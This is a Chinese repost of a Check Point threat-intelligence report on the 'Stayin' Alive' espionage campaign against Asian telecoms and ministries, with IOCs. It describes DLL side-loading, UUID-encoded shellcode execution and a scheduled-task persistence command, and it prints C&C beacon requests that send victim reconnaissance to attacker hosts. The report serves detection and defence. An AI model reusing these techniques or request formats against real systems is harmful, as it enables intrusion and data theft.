介绍
在过去的几个月里,Check Point Research 一直在跟踪“Stayin' Alive”活动,这是一项至少自 2021 年以来一直活跃的持续活动。该活动在亚洲开展,主要针对电信行业以及政府组织。
“Stayin' Alive”活动主要由下载程序和加载程序组成,其中一些被用作针对知名亚洲组织的初始感染媒介。第一个被发现的下载器名为 CurKeep,目标是越南、乌兹别克斯坦和哈萨克斯坦。在进行分析时,我们意识到该活动是针对该地区的更广泛活动的一部分。
我们在活动中观察到的工具的简单性及其广泛的变化表明它们是一次性的,主要用于下载和运行额外的有效负载。这些工具与任何已知参与者创建的产品没有明显的代码重叠,并且彼此之间没有太多共同点。然而,它们都与同一套基础设施相连,并与在该地区活动的与中国有关联的威胁组织 ToddyCat 相关。
关键点
- “Stayin' Alive”是一项主要针对亚洲电信行业的积极活动。目标国家包括哈萨克斯坦、乌兹别克斯坦、巴基斯坦和越南。
- 该活动利用鱼叉式网络钓鱼电子邮件,利用 DLL 侧面加载方案来传递存档文件,最引人注目的
dal_keepalives.dll
是 Audinate 的 Dante Discovery 软件中的劫持 (CVE-2022-23748)。 - “Stayin' Alive”活动背后的威胁行为者利用多个独特的加载器和下载器,所有这些都连接到同一组基础设施,并与最常被称为“ToddyCat”的中国附属威胁行为者相关联。
- 后门和加载程序的功能非常基本且变化很大。这表明攻击者将它们视为一次性的,并且可能主要使用它们来获得初始访问权限。
CurKeep后门
我们的调查始于 2022 年 9 月向一家越南电信公司发送的一封电子邮件,该电子邮件已上传到 VirusTotal。邮件主题CHỈ THỊ VỀ VIỆC QUY ĐỊNH QUẢN LÝ VÀ SỬ DỤNG USER
翻译为“管理和使用说明:用户规定”,这可能表明目标在 IT 部门工作。该电子邮件包含一个 ZIP 附件,其中有两个文件:一个合法的签名文件 mDNSResponder.exe 已重命名以匹配电子邮件,以及名为dal_keepalives.dll
.
图 1 – 原始 CurKeep 电子邮件诱饵
执行过程首先运行由 Zoom 签名的合法可执行文件,该可执行文件会加载dal_keepalives.dll
,进而加载一个名为“CurKeep”的简单后门。在初始执行期间,它将自身和合法的 exe 文件复制到该%APPDATA%
文件夹,并将名为Reserved to
point 的环境变量设置为其路径。该变量用在名为 的计划任务中,AppleNotifyService
其目的是为有效负载的下一次执行保持持久性。
图 2 – CurKeep 感染链
以新发现的被劫持 DLL 方案为中心,我们发现多个档案部署了相同的工具:
Саммит 2022 г (парол - 0809).rar
– Summit 2022(密码 – 0809),可能用于针对乌兹别克斯坦,因为它是从乌兹别克斯坦上传的,采用俄语文本。QForm V8.zip
– QForm 是一款金属成型模拟软件。该文件托管在一个已知的研究门户域上。Приказ №83 от 29.05.2023г.rar
– 2023 年 5 月 29 日第 83 号命令,可能用于针对哈萨克斯坦,假设它再次从哈萨克斯坦上传,并附有俄文文本。
CurKeep有效负载
有效负载本身是一个非常小但高效的 10kb 文件。它包含 26 个函数,并且不使用任何库进行静态编译。执行时,它首先生成一个导入数组,以msvcrt.dll
获取常见的 C 运行时函数,因为它没有。
图 3 – 函数导入
图 4 – 全局结构构建。
功能性
主要有效负载逻辑由三个主要功能组成:report
、shell
和file
。其中每一个都被分配给发送到 C&C 服务器的不同消息类型。执行时,有效负载最初运行该report
功能,向 C&C 服务器发送基本侦察信息。然后,它创建两个单独的线程来重复运行shell
和file
功能。
- 报告 – CurKeep 收集有关受感染计算机的信息,包括计算机名称、用户名、 的输出以及和
systeminfo
下的目录列表C:Program Files (x86)C:Program Files.
- shell – 将通过简单 XOR 加密和 Base64 编码加密的 JSON 格式的计算机名称发送到 C&C。预期响应包含命令字符串,命令之间用“|”分隔。它执行每个命令并将输出发送到 C&C 服务器。
- file – 发送与线程相同的消息
shell
并接收以下格式的字符串“[FILE_ID]|[FULL_PATH]|[BASE64_ENCODED_FILE_DATA]”
。它解析字符串并将数据写入文件。
沟通
后门通信是基于 HTTP 的。每个功能的结果都通过路径/api/report
/api/shell
或 的post 请求发送到匹配的 API /api/file
。结果被加密并存储在 JSON“msg”字段中。
POST /api/report HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Length: 1534
Host: 139.180.145.121
{"msg": *encrypted {"hostName":"%s","userName":"%s","time":"%s","infoBase64":"%s","x86Base64":"%s","x64Base64":"%s"}*}
基础设施分析
我们发现的所有 CurKeep 样本都与链接到同一 TLS 证书的一组 C&C 服务器进行通信:fd31ea84894d933af323fd64d36910ca0c92af99
该证书在多个 IP 地址之间共享,我们认为这些 IP 地址都与同一参与者相关。
图 5 – Stayin' Alive 在 IP 地址之间共享证书
除了证书之外,我们还观察到类似的域注册模式以及 IP 重复 ASN 的使用。
图 6 – 类似的注册模式和重复的 ASN
附加工具
新发现的基础设施揭示了几个额外的样本,其中大部分是装载机,用于同一地区的针对性攻击。几乎所有加载器都是通过类似的方法执行的,最常见的是 DLL 侧面加载。加载程序的性质及其多样性表明威胁行为者利用简单的加载程序进行感染,并仔细选择部署其他工具的目标。
CurLu装载机
与此基础设施相关的最常见工具是CurLu加载程序。它通常是通过滥用 side-loading 来加载的bdch.dll
,但这不是唯一使用的方法。该加载程序的主要功能是联系 C&C 服务器并接收要加载的 DLL,然后调用预定义的导出。这是通过发送带有 URI 的请求来执行的?cur=[RANDOM]:
图 7 – 随机请求 URL 的构建
来自服务器的预期响应是一个 DLL,然后将其加载并映射到内存中。接下来,加载程序搜索两个预定义导出之一,并执行找到的任何导出。
图 8 – 在下载的 DLL 中搜索导出函
核心
新检索到的有效负载之一是通过名为 的 IMG 文件传递的incorrect personal information.img
。它从巴基斯坦上传到 VirusTotal,利用mscoree.dll
劫持部署了另一个名为CurCore的小型后门。此 CurCore 变体还向模仿巴基斯坦电信提供商 Nayatel 的域发出信号 - ns01.nayatel.orinafz.com
。
执行时,DLL 通过将执行路径与 .dll 进行比较来检查它是否是从持久性执行的C:ProgramDataOneDrive
。如果没有,它将自身和合法的 PE 文件复制到前面提到的名称下的文件夹中OneDrive.exe
,并使用命令创建计划任务schtasks /create /sc minute /mo 10 /tn "OneDrive" /tr "C:ProgramDataOneDriveOneDrive.exe
。
如果从正确的路径正确执行,它会创建一个线程来初始化一大组 UUID 字符串,然后继续动态加载rpcrt4.dll
和导入该UuidFromStringA
函数。接下来,它使用该函数将整个 UUID 数组转换为字节,一次一个 UUID。
图 9 – 用于生成 shellcode 的 UUID 数组
然后,它使用该函数EnumSystemLocalesA
执行从 UUID 创建的 shellcode。然后,该 shellcode 加载并执行最终的有效负载。
图 10 – 将 UUID 转换为字节并执行提取的 shellcode
CurCore 有效负载是一个小型且有限的后门。winhttp.dll
执行时,它会加载并解析与来自和CreatePipe
来自的HTTP 请求相关的函数kernel32.dll
(从未使用过)。
接下来,它启动主循环,其中包含一个负责向 C&C 域发出 HTTP 请求的子循环ns01.nayatel.orinafz.com
。HTTP 请求由以下结构构建:
DWORD custom_checksum; DWORD ukn_1; DWORD message_type; // only being used on ReadFile command WCHAR_T desktop_folder_path[];
通过将桌面文件夹路径数组custom_checksum
中的所有前字节相加来计算。WCHAR_T
该结构体经过 Base64 编码并通过以下请求传输到服务器:
POST / HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Content-Length: 715
Host: ns01.nayatel.orinafz.com:443
sd=JwgAAAAAAAAAAAAAQwA6AFwAVQBzAGUAcgBzAFwAbwBkAGkAbgBcAEQAZQBzAGsAdABvAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
收到的响应也以 Base64 进行编码,第一个响应DWORD是要执行的命令 ID。该有效负载总共支持 3 个功能有限的命令,表明它仅用于初始侦察:
CurLog加载器
连接到同一基础设施的装载机之一 CurLog 也被用来瞄准哈萨克斯坦的主要目标。我们观察到了几种变体,一些通过 DLL 执行,另一些通过 EXE 执行。
CurLog 加载程序的变体之一以名为 的 zip 文件形式提供Compatible Products - Vector ver7.1.1.zip
,其中包含一个同名的 EXE 文件。来自哈萨克斯坦的提交者还上传了一个同名的 DOCX 文件,其中描述了一个名为 VECTOR 的系统及其兼容性。
图 11 – VECTOR 系统描述
执行有效负载时,它会通过比较执行路径C:UsersPublicLibraries
或检查它是否使用参数运行来检查它是否从持久性运行-u
。如果没有,它会添加一个计划任务并将其自身和合法的 exe 复制到前面提到的文件夹中。
接下来,它联系 C&C 服务器并期望收到解码的十六进制流。如果成功,它将继续验证解码的十六进制流是否以 MZ 或 cDM 开头并将其保存到文件中。最后,它根据生成的文件创建一个进程。
老越南鱼饵
我们发现的最古老的变体(见下文)是通过以越南 ISP 为主题并从越南上传的 ISO 映像提供的。严重混淆的示例验证它是否在正确的路径中执行,就像其他加载器一样。如果没有,它会创建该目录C:ProgramDataApplicationData
并将合法的 EXE 复制到名为 的文件夹中kev.exe
,并将恶意的旁加载 DLL 复制到该文件夹中mscoree.dll
。然后,它将 4 个硬编码字节写入新文件v2net.dll
,作为活动 ID。它获取计算机名称,并发送以下网络请求:
GET /d305dj948720d7x832/[4_BYTE_CAMPAIGN_ID]/5647/3120/a0cf2b3c/true/true.js HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0)[COMPUTER_NAME]
Host: 185.228.83.11
然后使用简单的 XOR 加密和密钥对网络响应进行解密0x44
。接下来,它检查第一个字节 XOR0x09
是否等于0x44
以及第二个字节 XOR0xD7
是否等于0x8D
。敏锐的读者可能会注意到MZ ^ 0x09D7 = 0x448d
,从中我们可以推断出C&C响应应该包含PE文件。然后将接收到的文件写入AppDataRoamingApplicationData[HEX_STRING]common.exe
并执行。
StylerServ后门
在我们的研究过程中,我们注意到许多加载器的一个共同特征:它们的编译时间戳被修改为 2015 年,但它们丰富的标头值表明它们是使用 Visual Studio 2017 编译的。
图 12 – 显示 Visual Studio 2017(上图)和 2015 年编译时间戳(下图)的丰富标头。
围绕这一特征,我们发现了一个额外的样本,该样本是由某人上传的,该人也上传了 CurLu 加载器信标的变体,127.0.
0.1
并在bdch.dll
.
新发现的样本名为StylerServ,与前面提到的加载器有很大不同,因为它用作被动侦听器,通过高端口提供特定文件。执行 DLL 时,它会创建五个线程,每个线程侦听不同的端口。在示例中,我们观察到了这些端口:60810,60811,60812,60813,60814
。
图 13 – 创建侦听高端口的线程。
每 60 秒,每个线程都会尝试读取一个名为stylers.bin.
的文件。如果该文件可用且文件大小为0x1014
,则该文件被视为有效,并在后续线程的网络请求中提供服务。这些线程监督在套接字上演变的一整套行为。其逻辑本质上是每个线程都可以接收远程连接并提供前面提到的加密版本stylers.bin
。
stylers.bin
同一提交者还上传了同名 ( ) 的文件,并使用 XOR 进行了加密。StylerServ 后门中不存在解密文件的密钥,但可以通过执行加密分析获得。解密后,我们可以看到加密的文件看起来像是一种配置文件,其中包含各种文件格式和一些未知的文件DWORDS
:
图 14 – 加密配置
图 15 – 解密的配置
受害者学
在我们对这次活动的分析中,我们观察到亚洲国家的目标一致,即越南、巴基斯坦、乌兹别克斯坦,尤其是哈萨克斯坦。目标指示包括鱼叉式网络钓鱼电子邮件、VirusTotal 提交者和文件命名约定。有证据表明,该活动主要针对这些国家的电信行业。
图 16 – “Stayin' Alive”活动的目标国家
此外,各种加载器和下载器使用的域表明至少有一些目标(或最终目标)是政府附属组织,其中大部分位于哈萨克斯坦。这些包括:
pkigoscorp[.]com
– 很可能是为了模仿哈萨克斯坦国家证书颁发机构https://pki.gov.kz/ 。certexvpn[.]com
– certexvpn 是哈萨克斯坦政府使用的哈萨克斯坦 VPN 软件。
此外,我们还看到有迹象表明其中一次攻击的主题是名为 qform3d 的金属成型模拟软件。这包括使用域名,qform3d[.]in
并且文件以存档名称交付。QForm V8.zip.
恶意软件托管在研究门户域上,表明目标可能正在从事研究。
归因
我们称之为“Stayin' Alive”的这一系列活动似乎只是一个更大的活动的一小部分,该活动利用了许多目前未知的工具和技术。各种加载器和下载器的集合可能代表了该攻击者的最初感染媒介,该攻击者已在该地区活动多年。
本报告中描述的各种工具都是定制的,并且很容易一次性使用。因此,它们与任何已知的工具集都没有明显的代码重叠,甚至彼此之间也没有重叠。然而,它们都与一组基础设施相关联,其中部分基础设施与名为ToddyCat的威胁行为者相关联。ToddyCat 最先由卡巴斯基公开披露,并与中国间谍活动有关。
CurLog 和 CurLu 加载器使用的两个域在之前探讨 ToddyCat 基础设施的文章fopingu[.]com
中提到rtmcsync[.]com
过。这两个域还显示了解析为 的历史记录, TeamT5 在一篇关于 MiniNinja(与同一参与者相关的框架)的文章中提到了这一点。149.28.28[.]159
虽然这些重叠并不一定表明“Stayin' Alive”活动背后的参与者与 ToddyCat 背后的参与者是同一个人,但两者很可能具有共同的联系并共享相同的基础设施。在这种情况下,还值得注意的是,据报道,ToddyCat 与“Stayin' Alive”活动在同一国家开展活动。
结论
正如本次活动中所观察到的那样,即使在经验丰富的参与者中,一次性加载器和下载器的使用也变得越来越普遍。使用一次性工具使检测和归因工作变得更加困难,因为它们经常被替换,并且可能是从头开始编写的。这在“Stayin' Alive”活动中很明显,在该活动中,知名组织成为了非常简单的后门的目标。
IOCs
文件:
文件名 Sha256
CurLu 6eaa33812365865512044020bc4b95079a1cc2ddc26cdadf24a9ff76c81b1746
CurLu 78faceaf9a911d966086071ff085f2d5c2713b58446d48e0db1ad40974bb15cd
CurKeep payload 295b99219d8529d2cd17b71a7947d370809f4e1a3094a74a31da6e30aa39e719
CurLog 409948cbbeaf051a41385d2e2bc32fc1e59789986852e608124b201d079e5c3c
CurKeep payload 462c85f6972da64af08f52a4c2f3a03bcd40fdf29b29b01631bff643cd9d906a
CurLu 4d52d40bc7599b784a86a000ff436527babc46c5de737e19ded265416b4977c6
CurKeep Archive 437cde10797b75ea92b1b68eb887972fe43b434db3ed67b756e01698cce69b4a
CurLog c5d1ee44ec75fc31e1c11fbf7a70ed7ca8c782099abfde15ecaa1b1edaf180ac
CurLu da2d9ed632576eca68a0c6d8d5afd383a1d811c369012f0d7fb52cd06da8c9b9
CurCore 451f87134438fa7e5735a865989072e7bab4858ca0b1e921224ed27dea0226b0
CurLu 93e9237afaff14c6b9a24cf7275e9d66bc95af8a0cc93db2a68b47cbbca4c347
CurKeep 482d41c4a2e14ddc072087a1b96f6e34ffda2bfc85819e21f15c97220825e651
CurKeep Archive 877579185a72fbaf1afa78d3c50dbab187780d545d5375ba4c29147083176697
CurLog c4f9bc7624509190e9e2a690daeff5ac9e944f094b51781734b83a364ae038d0
CurCore d94ed414dbfb9bbcba42e3bf2db3b76eb8172b03133d1745d6abcde6f9edbaa7
Old Vietnam mscoree 732621aa53683c16edf3959dfe9d93de5359c431c130784b31d4a598fbbd80a9
CurLu 12a7b9fa57719109b7f5d081cbe032320a59a7d57eef2dcd2cd4fe2b909162dc
CurKeep a54e0352653146371efd727ca00110577f8e750e92101462e246f99d435b6172
StylerServ 60030b970491bced72a56c9dde09a1d2260becfbf80a2b0d217a0b913e781c3a
CurKeep 36b4a846d6ed3461e36ed9f4c03fb4548397659ef0a46219695666266eba1652
Old Vietnam mscoree b3fc497f94ac04abc4c9a6f23ab142fdc2387c520ce5c6fdae1b511793bc6ba2
CurKeep payload caa9fdda2776f681ec294ffeded04723107cf754a2889c3fbb5bc7c743d897c1
CurLu 4baa4071a5eedbe0a8afa1059f7732e5cde0433dd0425e075721dd2cdec9d70d
CurKeep d4bd89ff56b75fc617f83eb858b6dbce7b36376889b07fa0c2417322ca361c30
StylerServ configs 47de9bf5f60504c229fe9f727aa59ba5c34d173a23af70822541a9e485abe391
CurKeep Email 1428698cc8b31a2c0150065af7b615ef2374ea3438b0a82f2efcff306b43cee6
CurLog archive 2dfba1cbc0ac1793ffd591c88024fab598a3f6a91756a2ea79f84f1601a0f1ed
CurKeep payload d33cbdbd6181deb0e8da9c9e6fb8795e98478d9608ab187e5b8809bed6b2e5c4
Old Vietnam 6f3de35c531993aa307729e2046ff7aa672f5058b7e0fc6557bbd4c500fb46e7
CurKeep 2ab1121c603b925548a823fa18193896cd24d186e08957393e6a34d697aed782
CurKeep payload 1934ac9067871a61958e3e96ea5daa227900b7683fce67a1bf1c24beff77d75a
CurLu a8a026d9bda80cc9bdd778a6ea8c88edcb2d657dc481952913bbdb5f2bfc11c9
CurLog 778b2526965dc1c4bcc401d0ae92037122e7e7f2c41f042f95b59a7f0fe6f30e
CurLu 7418c4d96cb0fe41fc95c0a27d2364ac45eb749d7edbe0ab339ea954f86abf9e
IPs:
70[.]34[.]201[.]229
185[.]136[.]163[.]129
45[.]77[.]171[.]170
167[.]179[.]91[.]150
185[.]243[.]112[.]223
207[.]148[.]69[.]74
139[.]180[.]145[.]121
77[.]91[.]75[.]232
178[.]23[.]190[.]206
136[.]244[.]111[.]25
185[.]242[.]85[.]124
45[.]159[.]250[.]179
178[.]23[.]190[.]206
65[.]20[.]68[.]126
Domains:
ns01[.]nayatel[.]orinafz[.]com
eaq[.]machineaccountquota[.]com
qaq2[.]machineaccountquota[.]com
imap[.]774b884034c450b[.]com
admit[.]pkigoscorp[.]com
update[.]certexvpn[.]com
cyberguard[.]certexvpn[.]com
gist[.]gitbusercontent[.]com
git[.]gitbusercontent[.]com
raw[.]gitbusercontent[.]com
cert[.]qform3d[.]in
admit[.]pkigoscorp[.]com
sslvpn[.]pkigoscorp[.]com
cdn[.]pkigoscorp[.]com
idp[.]pkigoscorp[.]com
ad[.]fopingu[.]com
proxy[.]rtmcsync[.]com
pic[.]rtmcsync[.]com
backend[.]rtmcsync[.]com
转载来源:https://research.checkpoint.com/2023/stayin-alive-targeted-attacks-against-telecoms-and-government-ministries-in-asia/
图片来源网络侵权可联系删除